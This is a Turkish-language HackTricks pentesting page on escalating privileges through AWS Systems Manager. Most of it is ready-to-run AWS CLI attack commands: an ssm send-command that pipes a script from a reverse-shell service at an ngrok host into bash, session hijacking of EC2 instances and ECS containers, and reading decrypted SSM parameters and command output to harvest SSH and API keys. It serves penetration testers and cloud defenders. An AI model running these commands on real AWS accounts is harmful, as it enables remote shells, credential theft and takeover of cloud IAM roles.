AWS - SSM Privesc

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

SSM

SSM hakkında daha fazla bilgi için:

urlhttps://github.com/carlospolop/hacktricks-cloud/blob/tr/pentesting-cloud/aws-security/aws-hizmetleri/aws-ec2-ebs-elb-ssm-vpc-ve-vpn-tarama/README.md

ssm:SendCommand

ssm:SendCommand iznine sahip bir saldırgan, Amazon SSM Agent çalıştıran örneklerde komutları yürütebilir ve içinde çalışan IAM Rolünü tehlikeye atabilir.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Potansiyel Etki: Çalışan SSM Ajanlarına sahip EC2 IAM rollerine doğrudan ayrıcalık yükseltme.

ssm:StartSession

ssm:StartSession iznine sahip bir saldırgan, Amazon SSM Ajanı çalıştıran örneklerde bir SSH benzeri oturum başlatabilir ve içinde çalışan IAM Rolünü tehlikeye atabilir.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Bir oturum başlatmak için SessionManagerPlugin yüklü olması gerekmektedir: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potansiyel Etki: Çalışan SSM Ajanlarına bağlı EC2 IAM rollerine doğrudan ayrıcalık yükseltme.

ECS'ye Ayrıcalık Yükseltme

ECS görevleri ExecuteCommand etkin olduğunda, yeterli izinlere sahip kullanıcılar ecs execute-command kullanarak konteyner içinde bir komut çalıştırabilir. Belgelere göre, bu, "exec" komutunu başlatmak için kullandığınız cihaz ile SSM Oturum Yöneticisi ile hedef konteyner arasında güvenli bir kanal oluşturularak yapılır. Bu nedenle, ssm:StartSession iznine sahip kullanıcılar, bu seçeneği etkinleştirilmiş ECS görevlerinin içinde bir kabuk alabilirler, sadece aşağıdaki komutu çalıştırarak:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Potansiyel Etki: ExecuteCommand etkinleştirilmiş çalışan görevlere bağlı ECS IAM rollerine doğrudan ayrıcalık yükseltme.

ssm:ResumeSession

ssm:ResumeSession iznine sahip bir saldırgan, bağlantısı kesilmiş bir SSM oturum durumunda çalışan Amazon SSM Ajanına SSH benzeri bir oturumu yeniden başlatabilir ve içinde çalışan IAM Rolünü tehdit altına alabilir.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Potansiyel Etki: SSM Ajanları çalışan ve bağlantısı kesilmiş oturumlara bağlı EC2 IAM rollerine doğrudan ayrıcalık yükseltme.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Söz konusu izinlere sahip bir saldırgan, SSM parametrelerini listeleyebilecek ve bunları açık metin olarak okuyabilecektir. Bu parametrelerde SSH anahtarları veya API anahtarları gibi hassas bilgileri sık sık bulabilirsiniz.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Potansiyel Etki: Parametreler içinde hassas bilgiler bulunabilir.

ssm:ListCommands

Bu izne sahip bir saldırgan, gönderilen tüm komutları listeyebilir ve umarız ki bunlarda hassas bilgiler bulabilir.

aws ssm list-commands

Potansiyel Etki: Komut satırlarında hassas bilgiler bulunabilir.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Bu izinlere sahip bir saldırgan, gönderilen tüm komutları ve umarım hassas bilgileri içeren çıktıyı okuyarak bulabilir.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Potansiyel Etki: Komut satırlarının çıktısı içinde hassas bilgiler bulunabilir.

Codebuild

Ayrıca, bir codebuild projesine erişmek için SSM'yi kullanabilirsiniz:

pageAWS - Codebuild Privesc
AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları:

Last updated